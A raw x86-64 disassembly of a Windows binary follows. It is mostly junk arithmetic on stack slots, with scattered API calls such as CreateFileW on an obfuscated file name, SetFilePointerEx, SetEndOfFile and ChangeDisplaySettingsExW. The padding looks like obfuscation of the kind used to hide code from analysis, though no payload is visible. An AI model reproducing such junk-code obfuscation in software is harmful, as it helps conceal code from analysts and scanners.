movzx ecx, byte [rsp + 0x115]
sub eax, ecx
mov byte [rsp + 0x346], al
mov rax, qword [rsp + 0xb5b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ba0]
sar eax, cl
mov word [rsp + 0xde4], ax
mov rax, qword [rsp + 0x8bd8]
mov qword [rsp + 0xb698], rax
mov rax, qword [rsp + 0xb540]
mov ecx, dword [rsp + 0x49fc]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4a78], eax
mov rax, qword [rsp + 0xb490]
mov eax, dword [rax]
mov dword [rsp + 0x5888], eax
movzx eax, word [rsp + 0x12f0]
movzx ecx, word [rsp + 0xb18]
shl eax, cl
mov word [rsp + 0x1be0], ax
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bcc]
xor eax, ecx
mov word [0x1401a8398], ax
mov ecx, 4
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x579c], eax
mov rax, qword [rsp + 0xb690]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe20]
imul eax, ecx
mov word [rsp + 0x1be0], ax
lea rax, [rsp + 0x346]
mov qword [rsp + 0xb6a0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.GncPpf4gc_vWL7DhElknC
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb6a8], rax
mov rax, qword [rsp + 0xb548]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb640]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ea0], rax
lea rax, [rsp + 0xb610]
mov qword [rsp + 0xb6b0], rax
mov eax, dword [0x1401a838c]
mov ecx, dword [rsp + 0x587c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4bd4], eax
mov rax, qword [rsp + 0xb308]
mov rcx, qword [rsp + 0xb4d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb400], rax
mov eax, dword [rsp + 0x49fc]
mov dword [rsp + 0x588c], eax
movzx eax, word [rsp + 0x1b90]
mov rcx, qword [0x1401e34c0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x142c], ax
lea rax, [rsp + 0x346]
mov qword [0x1401e34a0], rax
movsx eax, byte [rsp + 0xe7]
mov rcx, qword [rsp + 0xb550]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x29c], al
mov rax, qword [rsp + 0xb430]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x584c]
and ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x5880]
mov edx, dword [rsp + 0x5754]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jae 0x14015aefe
mov rax, qword [rsp + 0xb4c8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5848]
sar eax, cl
mov rcx, qword [rsp + 0xb540]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb638]
mov rcx, qword [rsp + 0xb490]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x56fc], eax
movzx eax, word [rsp + 0x1b90]
mov word [rsp + 0x1bfc], ax
movsx eax, word [rsp + 0x1ba0]
mov rcx, qword [rsp + 0xb518]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1401a8398], ax
mov rax, qword [rsp + 0xab18]
cqo
idiv qword [0x1401e3500]
mov qword [rsp + 0xb610], rax
mov rcx, qword [rsp + 0xb348]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x5890], eax
mov rax, qword [rsp + 0xb5a0]
mov rcx, qword [rsp + 0xb4c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov ecx, dword [rsp + 0x5818]
mov edx, dword [rsp + 0x4e08]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jl 0x14001b37e
mov rax, qword [0x1401e34e8]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xb648]
movzx r8d, word [rsp + 0x1300]
movzx edx, byte [rsp + 0x38b]
mov rax, qword [rsp + 0xb4c0]
mov ecx, dword [rax]
call fcn.14015c0f0
mov r8d, 1
mov rdx, qword [rsp + 0xb6b8]
mov rcx, qword [rsp + 0xb5b0]
call qword [sym.imp.USER32.dll_InvalidateRgn]
mov dword [rsp + 0x57ec], eax
movsx eax, word [rsp + 0x11c4]
mov rcx, qword [rsp + 0xb518]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1ba0], ax
movzx eax, byte [rsp + 0x1ed]
mov rcx, qword [rsp + 0xb6a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x385], al
movzx eax, word [0x1401a83a8]
mov rcx, qword [rsp + 0xb690]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1b8c], ax
mov rax, qword [rsp + 0xb5a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5764]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5868], eax
mov rax, qword [rsp + 0xb520]
mov rcx, qword [rsp + 0xb220]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa9d8], rax
mov rax, qword [rsp + 0xb668]
mov r9, qword [rax]
mov r8d, dword [rsp + 0x588c]
mov rax, qword [rsp + 0xb540]
mov edx, dword [rax]
mov rax, qword [rsp + 0xb548]
mov rcx, qword [rax]
call fcn.14015c1e0
mov r9, qword [rsp + 0xb6c0]
mov r8, qword [rsp + 0xb6c0]
mov rdx, qword [rsp + 0xb6c8]
mov rcx, qword [rsp + 0xb5b0]
call qword [sym.imp.USER32.dll_FindWindowExW]
mov qword [rsp + 0xb5b0], rax
mov rax, qword [rsp + 0xb490]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5880]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5854], eax
movzx eax, byte [rsp + 0x389]
mov byte [rsp + 0x38c], al
movzx eax, word [rsp + 0x1bf8]
movzx ecx, word [rsp + 0x1b90]
add eax, ecx
mov word [rsp + 0x1bfc], ax
mov rax, qword [rsp + 0xb4c0]
mov rcx, qword [rsp + 0xb430]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb638]
mov ecx, dword [rcx]
mov rdx, qword [rsp + 0xb490]
mov edx, dword [rdx]
shr edx, cl
mov ecx, edx
cmp eax, ecx
je 0x14015ad24
lea rcx, [rsp + 0x19370]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, word [rsp + 0x1bf8]
mov rcx, qword [0x1401e34c0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1300], ax
movzx eax, word [rsp + 0x1bfc]
movzx ecx, word [rsp + 0xb18]
cdq
idiv ecx
mov rcx, qword [rsp + 0xb288]
movzx ecx, word [rcx]
mov dword [rsp + 0x5894], ecx
mov rdx, qword [rsp + 0xb4e0]
movzx edx, word [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x5894]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x14001b594
mov rax, qword [rsp + 0xb430]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4928]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4620], eax
mov rax, qword [rsp + 0x8d90]
mov rcx, qword [rsp + 0xb268]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb520]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb1f0]
movzx eax, byte [rax]
mov byte [rsp + 0x38d], al
mov rax, qword [rsp + 0xb4c8]
mov ecx, dword [rsp + 0x5878]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5808], eax
mov rax, qword [rsp + 0xb518]
movzx eax, word [rax]
mov word [rsp + 0x1c00], ax
lea rax, [rsp + 0x1300]
mov qword [0x1401e3498], rax
lea rdx, [rsp + 0x574c]
mov rcx, qword [rsp + 0xb4b0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x5890], eax
mov rax, qword [rsp + 0xb390]
movzx eax, byte [rax]
movzx ecx, byte [0x1401a803c]
add eax, ecx
mov byte [rsp + 0x385], al
movzx eax, byte [rsp + 0x1ed]
movzx ecx, byte [rsp + 0x346]
add eax, ecx
mov rcx, qword [rsp + 0xb6a0]
mov byte [rcx], al
movsx eax, word [rsp + 0x1c00]
movsx ecx, word [rsp + 0xde4]
sub eax, ecx
mov word [rsp + 0xd68], ax
mov rax, qword [rsp + 0xb4c8]
mov ecx, dword [rsp + 0x54ec]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5884], eax
mov rax, qword [rsp + 0xb638]
mov eax, dword [rax]
mov dword [rsp + 0x5898], eax
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0x8bd8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb698], rax
jmp 0x14001b6f8
mov rax, qword [rsp + 0xb370]
mov ecx, dword [rsp + 0x4e08]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb4c8]
mov edx, dword [rsp + 0x5818]
mov ecx, dword [rcx]
and ecx, edx
cmp eax, ecx
jne 0x14001b6f8
mov rcx, qword [rsp + 0xb6c8]
call qword [sym.imp.USER32.dll_GetLastActivePopup]
mov qword [rsp + 0xb6d0], rax
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xde4]
xor eax, ecx
mov word [rsp + 0x1bdc], ax
movzx eax, word [rsp + 0x1b8c]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xb30], ax
mov rax, qword [rsp + 0xb388]
movzx eax, byte [rax]
movzx ecx, byte [0x1401a803c]
sar eax, cl
mov byte [0x1401a803a], al
mov rax, qword [rsp + 0xb280]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa488]
shl rax, cl
mov qword [rsp + 0xb5c0], rax
mov rax, qword [rsp + 0x9840]
mov rcx, qword [rsp + 0xb5d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xac40], rax
lea r9, [rsp + 0xb1c8]
lea r8, [rsp + 0xb6d8]
lea rdx, [rsp + 0xb498]
mov rcx, qword [rsp + 0xb580]
call qword [sym.imp.USER32.dll_GetLayeredWindowAttributes]
mov dword [rsp + 0x57ec], eax
mov rax, qword [rsp + 0xb548]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb310]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb668]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb690]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb4e0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1330], ax
mov rax, qword [rsp + 0xb550]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2ea]
add eax, ecx
mov byte [rsp + 0xe7], al
mov rax, qword [rsp + 0xb690]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ba8]
sub eax, ecx
mov rcx, qword [rsp + 0xb288]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0xb30]
sub ecx, edx
cmp eax, ecx
jl 0x14001b798
mov rax, qword [rsp + 0xb430]
mov eax, dword [rax]
mov ecx, dword [0x1401a838c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5898], eax
mov eax, dword [rsp + 0x5808]
mov dword [rsp + 0x589c], eax
lea rcx, [rsp + 0x19310]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xb520]
mov rcx, qword [0x1401e34e8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa9d8], rax
movsx eax, word [rsp + 0x1104]
mov rcx, qword [rsp + 0xb518]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401a83b4], ax
jmp 0x14001b809
movzx eax, byte [rsp + 0xbd]
mov rcx, qword [rsp + 0xb390]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x2fe], al
lea rax, [rsp + 0xb520]
mov qword [rsp + 0x20], rax
mov r9d, 0xb7
mov r8, qword [rsp + 0xb4f8]
lea rdx, [rsp + 0x1bdc0]
mov rcx, qword [rsp + 0xb480]
call qword [sym.imp.USER32.dll_ChangeDisplaySettingsExW]
mov dword [rsp + 0x58a0], eax
mov r8, qword [rsp + 0x8bd8]
mov rax, qword [rsp + 0xb350]
mov edx, dword [rax]
mov ecx, dword [0x1401a838c]
call fcn.14015c040
lea rdx, [rsp + 0x58a4]
mov rcx, qword [rsp + 0xb628]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x5740], eax
movzx eax, word [rsp + 0x1bf8]
mov rcx, qword [rsp + 0xb358]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x109c], ax
mov rax, qword [0x1401e34b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bf0]
xor eax, ecx
mov word [rsp + 0x1b94], ax
mov rax, qword [rsp + 0xb6a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb390]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x33b], al
mov eax, dword [rsp + 0x589c]
mov dword [rsp + 0x58a8], eax
mov rax, qword [rsp + 0x8d90]
mov rcx, qword [rsp + 0xb508]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb468], rax
lea rax, [rsp + 0x56fc]
mov qword [rsp + 0xb6e0], rax
mov rax, qword [rsp + 0xb6b0]
mov rcx, qword [rsp + 0xb668]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xb688]
mov rdx, qword [rsp + 0xab18]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x14001b9a4
mov rax, qword [rsp + 0xb530]
mov rcx, qword [rsp + 0xb5c0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb548]
mov qword [rcx], rax
mov rax, qword [0x1401e34b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb5c8]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401a83a0], ax
lea rcx, [rsp + 0x18568]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
movzx eax, byte [rsp + 0x33b]
mov byte [rsp + 0x38e], al
mov rax, qword [rsp + 0xb690]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12f0]
add eax, ecx
mov word [rsp + 0x188c], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x574c], eax
movsx eax, byte [0x1401a8038]
movsx ecx, byte [rsp + 0x38a]
sub eax, ecx
mov byte [rsp + 0x379], al
mov rax, qword [rsp + 0xb6b0]
mov rax, qword [rax]
mov qword [rsp + 0xb6e8], rax
mov rax, qword [rsp + 0xb648]
mov rcx, qword [rsp + 0xb508]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb698], rax
mov rax, qword [rsp + 0xb6e0]
mov eax, dword [rax]
mov ecx, dword [0x1401a838c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x54d8], eax
mov rax, qword [rsp + 0xb370]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x589c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x58a8], eax
movzx eax, byte [rsp + 0x232]
movzx ecx, byte [rsp + 0x382]
or eax, ecx
mov rcx, qword [rsp + 0xb3e8]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0xb6a0]
movzx edx, byte [rdx]
xor ecx, edx
cmp eax, ecx
je 0x14001bb3b
movsx eax, word [rsp + 0xd44]
movsx ecx, word [rsp + 0x1bd0]
shl eax, cl
mov word [rsp + 0x1bb4], ax
mov rax, qword [rsp + 0xb3e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb6a0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401a803a], al
movzx eax, word [rsp + 0xe20]
movzx ecx, word [rsp + 0x1b90]
sub eax, ecx
mov word [rsp + 0x142c], ax
mov rax, qword [rsp + 0xb548]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb4a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9840], rax
mov rax, qword [rsp + 0xb298]
mov rcx, qword [rsp + 0xb280]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xab18], rax
mov rax, qword [rsp + 0xb590]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1534]
add eax, ecx
mov word [rsp + 0x1bc8], ax
mov rax, qword [rsp + 0xb490]
mov rcx, qword [rsp + 0xb638]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xb6e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb4d0]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xb648]
mov rax, qword [0x1401e34c0]
movzx r8d, word [rax]
mov rax, qword [rsp + 0xb550]
movzx edx, byte [rax]
mov ecx, dword [rsp + 0x5754]
call fcn.14015c0f0
jmp 0x14001bcc6
mov rax, qword [rsp + 0xb388]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb6a0]
movzx ecx, byte [rcx]
sar eax, cl
mov dword [rsp + 0x58ac], eax
movzx ecx, byte [rsp + 0xbd]
mov rdx, qword [rsp + 0xb3e8]
movzx edx, byte [rdx]
mov dword [rsp + 0x58b0], edx
mov eax, ecx
cdq
mov ecx, dword [rsp + 0x58b0]
idiv ecx
mov ecx, dword [rsp + 0x58ac]
cmp ecx, eax
jge 0x14001bcc6
mov dword [rsp + 0x20], 0x63
mov r9d, 0xbd
mov r8, qword [rsp + 0xb6f0]
mov edx, 0xda
mov rcx, qword [rsp + 0xb6f8]
call qword [sym.imp.USER32.dll_GetMenuStringW]
mov dword [rsp + 0x5874], eax
mov rax, qword [rsp + 0xb648]
mov rcx, qword [rsp + 0xb228]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1e0], rax
mov rax, qword [rsp + 0xb370]
mov ecx, dword [rsp + 0x571c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x49fc], eax
movzx eax, byte [rsp + 0x38e]
mov rcx, qword [rsp + 0xb390]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x385], al
xor edx, edx
mov rcx, qword [rsp + 0xb5b0]
call qword [sym.imp.USER32.dll_ShowOwnedPopups]
mov dword [rsp + 0x57ec], eax
mov r9, qword [rsp + 0xb5f8]
mov rax, qword [rsp + 0xb5a0]
mov r8d, dword [rax]
mov rax, qword [rsp + 0xb350]
mov edx, dword [rax]
mov rax, qword [rsp + 0xb280]
mov rcx, qword [rax]
call fcn.14015c1e0
mov rax, qword [rsp + 0xb4e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb690]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401a8378], ax
mov rax, qword [rsp + 0xb548]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb280]
mov qword [rsp + 0xb700], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb700]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xab18], rax
mov rax, qword [rsp + 0xb1f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x379]
or eax, ecx
mov byte [rsp + 0x37a], al
movzx eax, word [0x1401a8390]
mov rcx, qword [rsp + 0xb690]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x12f0], ax
movzx eax, byte [rsp + 0x381]
mov byte [rsp + 0x38f], al
mov rax, qword [rsp + 0xb6e0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb430]
mov qword [rsp + 0xb708], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb708]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4bd4], eax
movzx eax, byte [0x1401a803a]
mov rcx, qword [rsp + 0xb3e8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xb390]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x33b]
add ecx, edx
cmp eax, ecx
jg 0x14015abd6
mov rax, qword [rsp + 0xb280]
mov rax, qword [rax]
mov qword [rsp + 0xb710], rax
mov rax, qword [rsp + 0xb6b0]
mov rcx, qword [rsp + 0xb608]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb210], rax
mov eax, dword [rsp + 0x4620]
mov rcx, qword [rsp + 0xb490]
mov qword [rsp + 0xb718], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb718]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5754], eax
mov eax, dword [rsp + 0x465c]
mov ecx, dword [rsp + 0x5884]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b04], eax
mov rax, qword [rsp + 0xb4d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb308]
mov qword [rsp + 0xb720], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb720]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x8bd8], rax
mov rax, qword [rsp + 0xb4e0]
movzx eax, word [rax]
mov word [rsp + 0x1c04], ax
movsx eax, word [rsp + 0x1b80]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401a83b8], ax
mov rax, qword [rsp + 0xb550]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb1f0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x37f], al
movzx eax, byte [rsp + 0x115]
mov rcx, qword [rsp + 0xb3e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x37c], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x192b0]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xb5d8]
mov qword [rsp + 0xb728], rax
mov rax, qword [rsp + 0xb358]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb4e0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1b8c], ax
mov rax, qword [rsp + 0xb430]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x57ac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b44], eax
mov eax, dword [rsp + 0x5868]
mov ecx, dword [rsp + 0x5870]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x585c], eax
mov rax, qword [rsp + 0xb220]
mov rax, qword [rax]
mov qword [rsp + 0xb730], rax
mov rax, qword [rsp + 0xb518]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb5c8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1534], ax
movzx eax, byte [rsp + 0x385]
mov byte [0x1401e3490], al
mov rax, qword [rsp + 0xb280]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa878]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb420], rax
lea rax, [rsp + 0x1330]
mov qword [rsp + 0xb738], rax
mov rax, qword [rsp + 0xb3e8]
movzx eax, byte [rax]
movzx ecx, byte [0x1401a803c]
add eax, ecx
mov byte [rsp + 0x37e], al
mov rax, qword [rsp + 0xb528]
movzx eax, word [rax]
mov word [rsp + 0x1c08], ax
mov rax, qword [rsp + 0xb5a0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb350]
mov qword [rsp + 0xb740], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb740]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5758], eax
mov rax, qword [rsp + 0xb228]
mov rcx, qword [rsp + 0xb520]
mov qword [rsp + 0xb748], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb748]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xb648], rax
mov rax, qword [rsp + 0xb638]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5864]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f8c], eax
movsx eax, byte [rsp + 0xe7]
movsx ecx, byte [rsp + 0x38b]
or eax, ecx
mov byte [rsp + 0x29c], al
movzx eax, word [rsp + 0x1534]
mov word [rsp + 0x1c0c], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x58a4], eax
movzx eax, byte [rsp + 0x38e]
mov rcx, qword [rsp + 0xb388]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401a803b], al
movzx eax, word [rsp + 0x1300]
mov rcx, qword [rsp + 0xb4e0]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x1bfc], ax
mov rax, qword [rsp + 0x9840]
mov rcx, qword [0x1401a8380]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb6b0]
mov qword [rcx], rax
lea rax, [rsp + 0xb5f8]
mov qword [rsp + 0xb750], rax
mov rax, qword [rsp + 0xb2f0]
movzx eax, word [rax]
movzx ecx, word [0x1401e34c8]
sub eax, ecx
mov rcx, qword [rsp + 0xb4e0]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0xb18]
sub ecx, edx
cmp eax, ecx
jge 0x14001c21c
mov rax, qword [rsp + 0xb298]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb728]
sar rax, cl
mov qword [rsp + 0xab58], rax
mov rax, qword [rsp + 0xb548]
mov rcx, qword [rsp + 0xb270]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xac40], rax
movzx eax, word [rsp + 0x1bf8]
mov rcx, qword [0x1401e3498]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x109c], ax
mov dword [rsp + 0x40], 0x26
mov dword [rsp + 0x38], 0x55
mov dword [rsp + 0x30], 0x10
mov dword [rsp + 0x28], 0x6b
mov dword [rsp + 0x20], 0xbc
xor r9d, r9d
lea r8, [fcn.14015c130]
mov rdx, qword [rsp + 0xb758]
mov rcx, qword [rsp + 0xb760]
call qword [sym.imp.USER32.dll_GrayStringW]
mov dword [rsp + 0x58b4], eax
mov rax, qword [rsp + 0xb668]
mov r9, qword [rax]
mov r8d, dword [rsp + 0x5808]
mov rax, qword [rsp + 0xb4c8]
mov edx, dword [rax]
mov rcx, qword [rsp + 0xb530]
call fcn.14015c1e0
mov rax, qword [rsp + 0xb308]
mov rcx, qword [rsp + 0x91a0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8bd8], rax
mov eax, dword [rsp + 0x58a0]
mov ecx, dword [rsp + 0x5818]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb540]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb1f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb550]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x37f], al
mov eax, dword [rsp + 0x4928]
mov ecx, dword [rsp + 0x5854]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4bd4], eax
jmp 0x14015ab0f
movsx eax, word [rsp + 0x1874]
movsx ecx, word [rsp + 0x1bd0]
sub eax, ecx
mov rcx, qword [rsp + 0xb260]
mov word [rcx], ax
mov r9d, 2
lea r8, [rsp + 0xb248]
mov rdx, qword [rsp + 0xb248]
mov rcx, qword [rsp + 0xb510]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x577c], eax
movzx eax, word [rsp + 0x1be0]
mov rcx, qword [rsp + 0xb4e0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401a83bc], ax
mov rax, qword [rsp + 0xb390]
movzx eax, byte [rax]
mov byte [rsp + 0x390], al
movsx eax, word [rsp + 0x1bb4]
mov rcx, qword [0x1401e34e0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x139c], ax
mov rcx, qword [rsp + 0xb510]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x58b8], eax
mov rax, qword [rsp + 0xb388]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb3e8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x390], al
mov rax, qword [rsp + 0xb1f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb4d8]
movsx ecx, byte [rcx]
sub eax, ecx
movsx ecx, byte [rsp + 0x389]
movsx edx, byte [rsp + 0x38d]
add ecx, edx
cmp eax, ecx
jge 0x14001c3c9
mov r8d, 0x66
mov rdx, qword [rsp + 0xb480]
mov ecx, 0xaf
call qword [sym.imp.USER32.dll_GetKeyNameTextW]
mov dword [rsp + 0x4a78], eax
mov rax, qword [rsp + 0xb1f0]
movzx ecx, byte [rax]
call fcn.14015bf50
mov rax, qword [rsp + 0xb490]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x57ac]
shl eax, cl
mov dword [rsp + 0x584c], eax
mov rax, qword [rsp + 0xb4d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb520]
mov qword [rsp + 0xb768], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb768]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xb648], rax
mov rax, qword [rsp + 0xb370]
mov ecx, dword [rsp + 0x589c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x549c], eax
movzx eax, word [rsp + 0xe20]
movzx ecx, word [rsp + 0x12f0]
or eax, ecx
mov word [rsp + 0x1c04], ax
movzx ecx, word [rsp + 0x1bc4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1ba4], ax
